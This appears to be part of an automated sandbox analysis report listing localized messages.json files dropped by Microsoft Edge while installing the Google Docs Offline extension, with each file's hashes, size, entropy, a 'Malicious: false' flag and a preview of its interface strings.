Preview:	{.. "createnew": {.. "message": "BUAT BAHARU".. },.. "explanationofflinedisabled": {.. "message": "Anda berada di luar talian. Untuk menggunakan Google Docs tanpa sambungan Internet, pergi ke tetapan di halaman utama Google Docs dan hidupkan penyegerakan luar talian apabila anda disambungkan ke Internet selepas ini.".. },.. "explanationofflineenabled": {.. "message": "Anda berada di luar talian, tetapi anda masih boleh mengedit fail yang tersedia atau buat fail baharu.".. },.. "extdesc": {.. "message": "Edit, buat dan lihat dokumen, hamparan dan pembentangan anda . kesemuanya tanpa akses Internet.".. },.. "extname": {.. "message": "Google Docs Luar Talian".. },.. "learnmore": {.. "message": "Ketahui Lebih Lanjut".. },.. "popuphelptext": {.. "message": "Tulis, edit dan bekerjasama di mana-mana sahaja anda berada, dengan atau tanpa sambungan Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6596_545307093\CRX_INSTALL\_locales\my\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3830
Entropy (8bit):	3.5483353063347587
Encrypted:	false
SSDEEP:	48:Ya+Ivxy6ur1+j3P7Xgr5ELkpeCgygyOxONHO3pj6H57ODyOXOVp6:8Uspsj3P3ty2a66xl09
MD5:	342335A22F1886B8BC92008597326B24
SHA1:	2CB04F892E430DCD7705C02BF0A8619354515513
SHA-256:	243BEFBD6B67A21433DCC97DC1A728896D3A070DC20055EB04D644E1BB955FE7
SHA-512:	CD344D060E30242E5A4705547E807CE3CE2231EE983BB9A8AD22B3E7598A7EC87399094B04A80245AD51D039370F09D74FE54C0B0738583884A73F0C7E888AD8
Malicious:	false
Preview:	{"createnew":{"message":"\u1021\u101e\u1005\u103a \u1015\u103c\u102f\u101c\u102f\u1015\u103a\u101b\u1014\u103a"},"explanationofflinedisabled":{"message":"\u101e\u1004\u103a \u1021\u1031\u102c\u1037\u1016\u103a\u101c\u102d\u102f\u1004\u103a\u1038\u1016\u103c\u1005\u103a\u1014\u1031\u1015\u102b\u101e\u100a\u103a\u104b \u1021\u1004\u103a\u1010\u102c\u1014\u1000\u103a\u1001\u103b\u102d\u1010\u103a\u1006\u1000\u103a\u1019\u103e\u102f \u1019\u101b\u103e\u102d\u1018\u1032 Google Docs \u1000\u102d\u102f \u1021\u101e\u102f\u1036\u1038\u1015\u103c\u102f\u101b\u1014\u103a \u1014\u1031\u102c\u1000\u103a\u1010\u1005\u103a\u1000\u103c\u102d\u1019\u103a \u101e\u1004\u103a\u1021\u1004\u103a\u1010\u102c\u1014\u1000\u103a\u1001\u103b\u102d\u1010\u103a\u1006\u1000\u103a\u101e\u100a\u1037\u103a\u1021\u1001\u102b Google Docs \u1015\u1004\u103a\u1019\u1005\u102c\u1019\u103b\u1000\u103a\u1014\u103e\u102c\u101b\u103e\u102d \u1006\u1000\u103a\u1010\u1004\u103a\u1019\u103b\u102c\u1038\u101e\u102d\u102f\u1037\u1

C:\Users\user\AppData\Local\Temp\scoped_dir6596_545307093\CRX_INSTALL\_locales\ne\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1898
Entropy (8bit):	4.187050294267571
Encrypted:	false
SSDEEP:	24:1HAmQ6ZSWfAx6fLMr48tE/cAbJtUZJScSIQoAfboFMiQ9pdvz48YgqG:TQ6W6MbkcAltUJxQdfbqQ9pp0gqG
MD5:	B1083DA5EC718D1F2F093BD3D1FB4F37
SHA1:	74B6F050D918448396642765DEF1AD5390AB5282
SHA-256:	E6ED0A023EF31705CCCBAF1E07F2B4B2279059296B5CA973D2070417BA16F790
SHA-512:	7102B90ABBE2C811E8EE2F1886A73B1298D4F3D5D05F0FFDB57CF78B9A49A25023A290B255BAA4895BB150B388BAFD9F8432650B8C70A1A9A75083FFFCD74F1A
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... ....... .........".. },.. "explanationofflinedisabled": {.. "message": "..... ...... .......... .... ........ .... .... Google ........ ...... .... ..... ..... ... .......... ....... .... Google ........ .......... ..... .......... .. ...... ..... .... ..... ......... .. ..........".. },.. "explanationofflineenabled": {.. "message": "..... ...... ........., .. ..... ... ... ...... ....... ....... .. .... ....... ....

C:\Users\user\AppData\Local\Temp\scoped_dir6596_545307093\CRX_INSTALL\_locales\nl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	914
Entropy (8bit):	4.513485418448461
Encrypted:	false
SSDEEP:	12:1HASvgFARCBxNBv52/fXjOXl6W6ICBxeBvMzU1CSUJAO6SFAIVIbCBhZHdb1tvz+:1HABJx4X6QDwEzlm2uGvYzKU
MD5:	32DF72F14BE59A9BC9777113A8B21DE6
SHA1:	2A8D9B9A998453144307DD0B700A76E783062AD0
SHA-256:	F3FE1FFCB182183B76E1B46C4463168C746A38E461FD25CA91FF2A40846F1D61
SHA-512:	E0966F5CCA5A8A6D91C58D716E662E892D1C3441DAA5D632E5E843839BB989F620D8AC33ED3EDBAFE18D7306B40CD0C4639E5A4E04DA2C598331DACEC2112AAD
Malicious:	false
Preview:	{.. "createnew": {.. "message": "NIEUW MAKEN".. },.. "explanationofflinedisabled": {.. "message": "Je bent offline. Wil je Google Documenten zonder internetverbinding gebruiken, ga dan de volgende keer dat je verbinding met internet hebt naar 'Instellingen' op de homepage van Google Documenten en zet 'Offline synchronisatie' aan.".. },.. "explanationofflineenabled": {.. "message": "Je bent offline, maar je kunt nog wel beschikbare bestanden bewerken of nieuwe bestanden maken.".. },.. "extdesc": {.. "message": "Bewerk, maak en bekijk je documenten, spreadsheets en presentaties. Allemaal zonder internettoegang.".. },.. "extname": {.. "message": "Offline Documenten".. },.. "learnmore": {.. "message": "Meer informatie".. },.. "popuphelptext": {.. "message": "Overal schrijven, bewerken en samenwerken, met of zonder internetverbinding.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6596_545307093\CRX_INSTALL\_locales\no\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	878
Entropy (8bit):	4.4541485835627475
Encrypted:	false
SSDEEP:	24:1HAqwwrJ6wky68uk+NILxRGJwBvDyrj9V:nwwQwky6W+NwswVyT
MD5:	A1744B0F53CCF889955B95108367F9C8
SHA1:	6A5A6771DFF13DCB4FD425ED839BA100B7123DE0
SHA-256:	21CEFF02B45A4BFD60D144879DFA9F427949A027DD49A3EB0E9E345BD0B7C9A8
SHA-512:	F55E43F14514EECB89F6727A0D3C234149609020A516B193542B5964D2536D192F40CC12D377E70C683C269A1BDCDE1C6A0E634AA84A164775CFFE776536A961
Malicious:	false
Preview:	{.. "createnew": {.. "message": "OPPRETT NYTT".. },.. "explanationofflinedisabled": {.. "message": "Du er uten nett. For . bruke Google Dokumenter uten internettilkobling, g. til innstillingene p. Google Dokumenter-nettsiden og sl. p. synkronisering uten nett neste gang du er koblet til Internett.".. },.. "explanationofflineenabled": {.. "message": "Du er uten nett, men du kan likevel endre tilgjengelige filer eller opprette nye.".. },.. "extdesc": {.. "message": "Rediger, opprett og se dokumentene, regnearkene og presentasjonene dine . uten nettilgang.".. },.. "extname": {.. "message": "Google Dokumenter uten nett".. },.. "learnmore": {.. "message": "Finn ut mer".. },.. "popuphelptext": {.. "message": "Skriv, rediger eller samarbeid uansett hvor du er, med eller uten internettilkobling.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6596_545307093\CRX_INSTALL\_locales\pa\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2766
Entropy (8bit):	3.839730779948262
Encrypted:	false
SSDEEP:	48:YEH6/o0iZbNCbDMUcipdkNtQjsGKIhO9aBjj/nxt9o5nDAj3:p6wbZbEbvJ8jQkIhO9aBjb/90Ab
MD5:	97F769F51B83D35C260D1F8CFD7990AF
SHA1:	0D59A76564B0AEE31D0A074305905472F740CECA
SHA-256:	BBD37D41B7DE6F93948FA2437A7699D4C30A3C39E736179702F212CB36A3133C
SHA-512:	D91F5E2D22FC2D7F73C1F1C4AF79DB98FCFD1C7804069AE9B2348CBC729A6D2DFF7FB6F44D152B0BDABA6E0D05DFF54987E8472C081C4D39315CEC2CBC593816
Malicious:	false
Preview:	{"createnew":{"message":"\u0a28\u0a35\u0a3e\u0a02 \u0a2c\u0a23\u0a3e\u0a13"},"explanationofflinedisabled":{"message":"\u0a24\u0a41\u0a38\u0a40\u0a02 \u0a06\u0a2b\u0a3c\u0a32\u0a3e\u0a08\u0a28 \u0a39\u0a4b\u0964 \u0a07\u0a70\u0a1f\u0a30\u0a28\u0a48\u0a71\u0a1f \u0a15\u0a28\u0a48\u0a15\u0a36\u0a28 \u0a26\u0a47 \u0a2c\u0a3f\u0a28\u0a3e\u0a02 Google Docs \u0a28\u0a42\u0a70 \u0a35\u0a30\u0a24\u0a23 \u0a32\u0a08, \u0a05\u0a17\u0a32\u0a40 \u0a35\u0a3e\u0a30 \u0a1c\u0a26\u0a4b\u0a02 \u0a24\u0a41\u0a38\u0a40\u0a02 \u0a07\u0a70\u0a1f\u0a30\u0a28\u0a48\u0a71\u0a1f \u0a26\u0a47 \u0a28\u0a3e\u0a32 \u0a15\u0a28\u0a48\u0a15\u0a1f \u0a39\u0a4b\u0a35\u0a4b \u0a24\u0a3e\u0a02 Google Docs \u0a2e\u0a41\u0a71\u0a16 \u0a2a\u0a70\u0a28\u0a47 '\u0a24\u0a47 \u0a38\u0a48\u0a1f\u0a3f\u0a70\u0a17\u0a3e\u0a02 \u0a35\u0a3f\u0a71\u0a1a \u0a1c\u0a3e\u0a13 \u0a05\u0a24\u0a47 \u0a06\u0a2b\u0a3c\u0a32\u0a3e\u0a08\u0a28 \u0a38\u0a3f\u0a70\u0a15 \u0a28\u0a42\u0a70 \u0a1a\u0a3e\u0a32\u0a42 \u0a15\u0a30\u0a4b\u0964"},"expla

C:\Users\user\AppData\Local\Temp\scoped_dir6596_545307093\CRX_INSTALL\_locales\pl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	978
Entropy (8bit):	4.879137540019932
Encrypted:	false
SSDEEP:	24:1HApiJiRelvm3wi8QAYcbm24sK+tFJaSDD:FJMx3whxYcbNp
MD5:	B8D55E4E3B9619784AECA61BA15C9C0F
SHA1:	B4A9C9885FBEB78635957296FDDD12579FEFA033
SHA-256:	E00FF20437599A5C184CA0C79546CB6500171A95E5F24B9B5535E89A89D3EC3D
SHA-512:	266589116EEE223056391C65808255EDAE10EB6DC5C26655D96F8178A41E283B06360AB8E08AC3857D172023C4F616EF073D0BEA770A3B3DD3EE74F5FFB2296B
Malicious:	false
Preview:	{.. "createnew": {.. "message": "UTW.RZ NOWY".. },.. "explanationofflinedisabled": {.. "message": "Jeste. offline. Aby korzysta. z Dokument.w Google bez po..czenia internetowego, otw.rz ustawienia na stronie g..wnej Dokument.w Google i w..cz synchronizacj. offline nast.pnym razem, gdy b.dziesz mie. dost.p do internetu.".. },.. "explanationofflineenabled": {.. "message": "Jeste. offline, ale nadal mo.esz edytowa. dost.pne pliki i tworzy. nowe.".. },.. "extdesc": {.. "message": "Edytuj, tw.rz i wy.wietlaj swoje dokumenty, arkusze kalkulacyjne oraz prezentacje bez konieczno.ci ..czenia si. z internetem.".. },.. "extname": {.. "message": "Dokumenty Google offline".. },.. "learnmore": {.. "message": "Wi.cej informacji".. },.. "popuphelptext": {.. "message": "Pisz, edytuj i wsp..pracuj, gdziekolwiek jeste. . niezale.nie od tego, czy masz po..czenie z internetem.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6596_545307093\CRX_INSTALL\_locales\pt_BR\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	907
Entropy (8bit):	4.599411354657937
Encrypted:	false
SSDEEP:	12:1HASvgU30CBxNd6GwXOK1styCJ02OK9+4KbCBxed6X4LBAt4rXgUCSUuYDHIIQka:1HAcXlyCJ5+Tsz4LY4rXSw/Q+ftkC
MD5:	608551F7026E6BA8C0CF85D9AC11F8E3
SHA1:	87B017B2D4DA17E322AF6384F82B57B807628617
SHA-256:	A73EEA087164620FA2260D3910D3FBE302ED85F454EDB1493A4F287D42FC882F
SHA-512:	82F52F8591DB3C0469CC16D7CBFDBF9116F6D5B5D2AD02A3D8FA39CE1378C64C0EA80AB8509519027F71A89EB8BBF38A8702D9AD26C8E6E0F499BF7DA18BF747
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CRIAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Voc. est. off-line. Para usar o Documentos Google sem conex.o com a Internet, na pr.xima vez que se conectar, acesse as configura..es na p.gina inicial do Documentos Google e ative a sincroniza..o off-line.".. },.. "explanationofflineenabled": {.. "message": "Voc. est. off-line, mas mesmo assim pode editar os arquivos dispon.veis ou criar novos arquivos.".. },.. "extdesc": {.. "message": "Edite, crie e veja seus documentos, planilhas e apresenta..es sem precisar de acesso . Internet.".. },.. "extname": {.. "message": "Documentos Google off-line".. },.. "learnmore": {.. "message": "Saiba mais".. },.. "popuphelptext": {.. "message": "Escreva, edite e colabore onde voc. estiver, com ou sem conex.o com a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6596_545307093\CRX_INSTALL\_locales\pt_PT\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	914
Entropy (8bit):	4.604761241355716
Encrypted:	false
SSDEEP:	24:1HAcXzw8M+N0STDIjxX+qxCjKw5BKriEQFMJXkETs:zXzw0pKXbxqKw5BKri3aNY
MD5:	0963F2F3641A62A78B02825F6FA3941C
SHA1:	7E6972BEAB3D18E49857079A24FB9336BC4D2D48
SHA-256:	E93B8E7FB86D2F7DFAE57416BB1FB6EE0EEA25629B972A5922940F0023C85F90
SHA-512:	22DD42D967124DA5A2209DD05FB6AD3F5D0D2687EA956A22BA1E31C56EC09DEB53F0711CD5B24D672405358502E9D1C502659BB36CED66CAF83923B021CA0286
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CRIAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Est. offline. Para utilizar o Google Docs sem uma liga..o . Internet, aceda .s defini..es na p.gina inicial do Google Docs e ative a sincroniza..o offline da pr.xima vez que estiver ligado . Internet.".. },.. "explanationofflineenabled": {.. "message": "Est. offline, mas continua a poder editar os ficheiros dispon.veis ou criar novos ficheiros.".. },.. "extdesc": {.. "message": "Edite, crie e veja os documentos, as folhas de c.lculo e as apresenta..es, tudo sem precisar de aceder . Internet.".. },.. "extname": {.. "message": "Google Docs offline".. },.. "learnmore": {.. "message": "Saber mais".. },.. "popuphelptext": {.. "message": "Escreva edite e colabore onde quer que esteja, com ou sem uma liga..o . Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6596_545307093\CRX_INSTALL\_locales\ro\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	937
Entropy (8bit):	4.686555713975264
Encrypted:	false
SSDEEP:	24:1HA8dC6e6w+uFPHf2TFMMlecFpweWV4RE:pC6KvHf4plVweCx
MD5:	BED8332AB788098D276B448EC2B33351
SHA1:	6084124A2B32F386967DA980CBE79DD86742859E
SHA-256:	085787999D78FADFF9600C9DC5E3FF4FB4EB9BE06D6BB19DF2EEF8C284BE7B20
SHA-512:	22596584D10707CC1C8179ED3ABE46EF2C314CF9C3D0685921475944B8855AAB660590F8FA1CFDCE7976B4BB3BD9ABBBF053F61F1249A325FD0094E1C95692ED
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREEAZ. UN DOCUMENT".. },.. "explanationofflinedisabled": {.. "message": "E.ti offline. Pentru a utiliza Documente Google f.r. conexiune la internet, intr. .n set.rile din pagina principal. Documente Google .i activeaz. sincronizarea offline data viitoare c.nd e.ti conectat(.) la internet.".. },.. "explanationofflineenabled": {.. "message": "E.ti offline, dar po.i .nc. s. editezi fi.ierele disponibile sau s. creezi altele.".. },.. "extdesc": {.. "message": "Editeaz., creeaz. .i acceseaz. documente, foi de calcul .i prezent.ri - totul f.r. acces la internet.".. },.. "extname": {.. "message": "Documente Google Offline".. },.. "learnmore": {.. "message": "Afl. mai multe".. },.. "popuphelptext": {.. "message": "Scrie, editeaz. .i colaboreaz. oriunde ai fi, cu sau f.r. conexiune la internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6596_545307093\CRX_INSTALL\_locales\ru\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1337
Entropy (8bit):	4.69531415794894
Encrypted:	false
SSDEEP:	24:1HABEapHTEmxUomjsfDVs8THjqBK8/hHUg41v+Lph5eFTHQ:I/VdxUomjsre8Kh4Riph5eFU
MD5:	51D34FE303D0C90EE409A2397FCA437D
SHA1:	B4B9A7B19C62D0AA95D1F10640A5FBA628CCCA12
SHA-256:	BE733625ACD03158103D62BC0EEF272CA3F265AC30C87A6A03467481A177DAE3
SHA-512:	E8670DED44DC6EE30E5F41C8B2040CF8A463CD9A60FC31FA70EB1D4C9AC1A3558369792B5B86FA761A21F5266D5A35E5C2C39297F367DAA84159585C19EC492A
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".......".. },.. "explanationofflinedisabled": {.. "message": "..... ............ Google ......... ... ........., ............ . .... . ......... ............. . ......-...... . .......... .. ......... .........".. },.. "explanationofflineenabled": {.. "message": "... ........... . .......... .. ...... ......... ..... ..... . ............. .., . ....... ........ ......-.......".. },.. "extdesc": {.. "message": ".........., .............. . ............ ........., ....... . ........... ... ....... . ..........".. },.. "extname": {.. "message": "Google.......... ......".. },.. "learnmore": {.

C:\Users\user\AppData\Local\Temp\scoped_dir6596_545307093\CRX_INSTALL\_locales\si\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2846
Entropy (8bit):	3.7416822879702547
Encrypted:	false
SSDEEP:	48:YWi+htQTKEQb3aXQYJLSWy7sTQThQTnQtQTrEmQ6kiLsegQSJFwsQGaiPn779I+S:zhiTK5b3tUGVjTGTnQiTryOLpyaxYf/S
MD5:	B8A4FD612534A171A9A03C1984BB4BDD
SHA1:	F513F7300827FE352E8ECB5BD4BB1729F3A0E22A
SHA-256:	54241EBE651A8344235CC47AFD274C080ABAEBC8C3A25AFB95D8373B6A5670A2
SHA-512:	C03E35BFDE546AEB3245024EF721E7E606327581EFE9EAF8C5B11989D9033BDB58437041A5CB6D567BAA05466B6AAF054C47F976FD940EEEDF69FDF80D79095B
Malicious:	false
Preview:	{"createnew":{"message":"\u0db1\u0dc0 \u0dbd\u0dda\u0d9b\u0db1\u0dba\u0d9a\u0dca \u0dc3\u0dcf\u0daf\u0db1\u0dca\u0db1"},"explanationofflinedisabled":{"message":"\u0d94\u0db6 \u0db1\u0ddc\u0db6\u0dd0\u0db3\u0dd2\u0dba. \u0d85\u0db1\u0dca\u0dad\u0dbb\u0dca\u0da2\u0dcf\u0dbd \u0dc3\u0db8\u0dca\u0db6\u0db1\u0dca\u0db0\u0dad\u0dcf\u0dc0\u0d9a\u0dca \u0db1\u0ddc\u0db8\u0dd0\u0dad\u0dd2\u0dc0 Google Docs \u0db7\u0dcf\u0dc0\u0dd2\u0dad \u0d9a\u0dd2\u0dbb\u0dd3\u0db8\u0da7, Google Docs \u0db8\u0dd4\u0dbd\u0dca \u0db4\u0dd2\u0da7\u0dd4\u0dc0 \u0db8\u0dad \u0dc3\u0dd0\u0d9a\u0dc3\u0dd3\u0db8\u0dca \u0dc0\u0dd9\u0dad \u0d9c\u0ddc\u0dc3\u0dca \u0d94\u0db6 \u0d8a\u0dc5\u0d9f \u0d85\u0dc0\u0dc3\u0dca\u0dae\u0dcf\u0dc0\u0dda \u0d85\u0db1\u0dca\u0dad\u0dbb\u0dca\u0da2\u0dcf\u0dbd\u0dba\u0da7 \u0dc3\u0db6\u0dd0\u0db3\u0dd2 \u0dc0\u0dd2\u0da7 \u0db1\u0ddc\u0db6\u0dd0\u0db3\u0dd2 \u0dc3\u0db8\u0db8\u0dd4\u0dc4\u0dd4\u0dbb\u0dca\u0dad \u0d9a\u0dd2\u0dbb\u0dd3\u0db8 \u0d9a\u0dca\u200d\u0dbb\u0dd2\u0dba\u0dc

C:\Users\user\AppData\Local\Temp\scoped_dir6596_545307093\CRX_INSTALL\_locales\sk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	934
Entropy (8bit):	4.882122893545996
Encrypted:	false
SSDEEP:	24:1HAF8pMv1RS4LXL22IUjdh8uJwpPqLDEtxKLhSS:hyv1RS4LXx38u36QsS
MD5:	8E55817BF7A87052F11FE554A61C52D5
SHA1:	9ABDC0725FE27967F6F6BE0DF5D6C46E2957F455
SHA-256:	903060EC9E76040B46DEB47BBB041D0B28A6816CB9B892D7342FC7DC6782F87C
SHA-512:	EFF9EC7E72B272DDE5F29123653BC056A4BC2C3C662AE3C448F8CB6A4D1865A0679B7E74C1B3189F3E262109ED6BC8F8D2BDE14AEFC8E87E0F785AE4837D01C7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "VYTVORI. NOV.".. },.. "explanationofflinedisabled": {.. "message": "Ste offline. Ak chcete pou.i. Dokumenty Google bez pripojenia na internet, po najbli..om pripojen. na internet prejdite do nastaven. na domovskej str.nke Dokumentov Google a.zapnite offline synchroniz.ciu.".. },.. "explanationofflineenabled": {.. "message": "Ste offline, no st.le m..ete upravova. dostupn. s.bory a.vytv.ra. nov..".. },.. "extdesc": {.. "message": ".prava, tvorba a.zobrazenie dokumentov, tabuliek a.prezent.ci.. To v.etko bez pr.stupu na internet.".. },.. "extname": {.. "message": "Dokumenty Google v re.ime offline".. },.. "learnmore": {.. "message": ".al.ie inform.cie".. },.. "popuphelptext": {.. "message": "P..te, upravujte a.spolupracuje, kdeko.vek ste, a.to s.pripojen.m na internet aj bez neho.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6596_545307093\CRX_INSTALL\_locales\sl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	963
Entropy (8bit):	4.6041913416245
Encrypted:	false
SSDEEP:	12:1HASvgfECBxNFCEuKXowwJrpvPwNgEcPJJJEfWOCBxeFCJuGuU4KYXCSUXKDxX4A:1HAXMKYw8VYNLcaeDmKYLdX2zJBG5
MD5:	BFAEFEFF32813DF91C56B71B79EC2AF4
SHA1:	F8EDA2B632610972B581724D6B2F9782AC37377B
SHA-256:	AAB9CF9098294A46DC0F2FA468AFFF7CA7C323A1A0EFA70C9DB1E3A4DA05D1D4
SHA-512:	971F2BBF5E9C84DE3D31E5F2A4D1A00D891A2504F8AF6D3F75FC19056BFD059A270C4C9836AF35258ABA586A1888133FB22B484F260C1CBC2D1D17BC3B4451AA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "USTVARI NOVO".. },.. "explanationofflinedisabled": {.. "message": "Nimate vzpostavljene povezave. .e .elite uporabljati Google Dokumente brez internetne povezave, odprite nastavitve na doma.i strani Google Dokumentov in vklopite sinhronizacijo brez povezave, ko naslednji. vzpostavite internetno povezavo.".. },.. "explanationofflineenabled": {.. "message": "Nimate vzpostavljene povezave, vendar lahko .e vedno urejate razpolo.ljive datoteke ali ustvarjate nove.".. },.. "extdesc": {.. "message": "Urejajte, ustvarjajte in si ogledujte dokumente, preglednice in predstavitve . vse to brez internetnega dostopa.".. },.. "extname": {.. "message": "Google Dokumenti brez povezave".. },.. "learnmore": {.. "message": "Ve. o tem".. },.. "popuphelptext": {.. "message": "Pi.ite, urejajte in sodelujte, kjer koli ste, z internetno povezavo ali brez nje.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6596_545307093\CRX_INSTALL\_locales\sr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1320
Entropy (8bit):	4.569671329405572
Encrypted:	false
SSDEEP:	24:1HArg/fjQg2JwrfZtUWTrw1P4epMnRGi5TBmuPDRxZQ/XtiCw/Rwh/Q9EVz:ogUg2JwDZe6rwKI8VTP9xK1CwhI94
MD5:	7F5F8933D2D078618496C67526A2B066
SHA1:	B7050E3EFA4D39548577CF47CB119FA0E246B7A4
SHA-256:	4E8B69E864F57CDDD4DC4E4FAF2C28D496874D06016BC22E8D39E0CB69552769
SHA-512:	0FBAB56629368EEF87DEEF2977CA51831BEB7DEAE98E02504E564218425C751853C4FDEAA40F51ECFE75C633128B56AE105A6EB308FD5B4A2E983013197F5DBA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....... ....".. },.. "explanationofflinedisabled": {.. "message": "...... .... .. ..... ......... Google ......... ... ........ ...., ..... . .......... .. ........ ........ Google .......... . ........ ...... .............. ... ....... ... ...... ........ .. ...........".. },.. "explanationofflineenabled": {.. "message": "...... ..., ... . .... ...... .. ....... ...... . ........ ........ ... .. ....... .....".. },.. "extdesc": {.. "message": "....... . ........... ........., ...... . ............ . ....... ...... . ... . ... .. ... ........ .........".. },.. "extname": {.. "message

C:\Users\user\AppData\Local\Temp\scoped_dir6596_545307093\CRX_INSTALL\_locales\sv\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	884
Entropy (8bit):	4.627108704340797
Encrypted:	false
SSDEEP:	24:1HA0NOYT/6McbnX/yzklyOIPRQrJlvDymvBd:vNOcyHnX/yg0P4Bymn
MD5:	90D8FB448CE9C0B9BA3D07FB8DE6D7EE
SHA1:	D8688CAC0245FD7B886D0DEB51394F5DF8AE7E84
SHA-256:	64B1E422B346AB77C5D1C77142685B3FF7661D498767D104B0C24CB36D0EB859
SHA-512:	6D58F49EE3EF0D3186EA036B868B2203FE936CE30DC8E246C32E90B58D9B18C624825419346B62AF8F7D61767DBE9721957280AA3C524D3A5DFB1A3A76C00742
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SKAPA NYTT".. },.. "explanationofflinedisabled": {.. "message": "Du .r offline. Om du vill anv.nda Google Dokument utan internetuppkoppling, .ppna inst.llningarna p. Google Dokuments startsida och aktivera offlinesynkronisering n.sta g.ng du .r ansluten till internet.".. },.. "explanationofflineenabled": {.. "message": "Du .r offline, men det g.r fortfarande att redigera tillg.ngliga filer eller skapa nya.".. },.. "extdesc": {.. "message": "Redigera, skapa och visa dina dokument, kalkylark och presentationer . helt utan internet.tkomst.".. },.. "extname": {.. "message": "Google Dokument Offline".. },.. "learnmore": {.. "message": "L.s mer".. },.. "popuphelptext": {.. "message": "Skriv, redigera och samarbeta .verallt, med eller utan internetanslutning.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6596_545307093\CRX_INSTALL\_locales\sw\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	980
Entropy (8bit):	4.50673686618174
Encrypted:	false
SSDEEP:	12:1HASvgNHCBxNx1HMHyMhybK7QGU78oCuafIvfCBxex6EYPE5E1pOCSUJqONtCBh8:1HAGDQ3y0Q/Kjp/zhDoKMkeAT6dBaX
MD5:	D0579209686889E079D87C23817EDDD5
SHA1:	C4F99E66A5891973315D7F2BC9C1DAA524CB30DC
SHA-256:	0D20680B74AF10EF8C754FCDE259124A438DCE3848305B0CAF994D98E787D263
SHA-512:	D59911F91ED6C8FF78FD158389B4D326DAF4C031B940C399569FE210F6985E23897E7F404B7014FC7B0ACEC086C01CC5F76354F7E5D3A1E0DEDEF788C23C2978
Malicious:	false
Preview:	{.. "createnew": {.. "message": "FUNGUA MPYA".. },.. "explanationofflinedisabled": {.. "message": "Haupo mtandaoni. Ili uweze kutumia Hati za Google bila muunganisho wa intaneti, wakati utakuwa umeunganishwa kwenye intaneti, nenda kwenye sehemu ya mipangilio kwenye ukurasa wa kwanza wa Hati za Google kisha uwashe kipengele cha usawazishaji nje ya mtandao.".. },.. "explanationofflineenabled": {.. "message": "Haupo mtandaoni, lakini bado unaweza kubadilisha faili zilizopo au uunde mpya.".. },.. "extdesc": {.. "message": "Badilisha, unda na uangalie hati, malahajedwali na mawasilisho yako . yote bila kutumia muunganisho wa intaneti.".. },.. "extname": {.. "message": "Hati za Google Nje ya Mtandao".. },.. "learnmore": {.. "message": "Pata Maelezo Zaidi".. },.. "popuphelptext": {.. "message": "Andika hati, zibadilishe na ushirikiane na wengine popote ulipo, iwe una muunganisho wa intaneti au huna.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6596_545307093\CRX_INSTALL\_locales\ta\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1941
Entropy (8bit):	4.132139619026436
Encrypted:	false
SSDEEP:	24:1HAoTZwEj3YfVLiANpx96zjlXTwB4uNJDZwq3CP1B2xIZiIH1CYFIZ03SoFyxrph:JCEjWiAD0ZXkyYFyPND1L/I
MD5:	DCC0D1725AEAEAAF1690EF8053529601
SHA1:	BB9D31859469760AC93E84B70B57909DCC02EA65
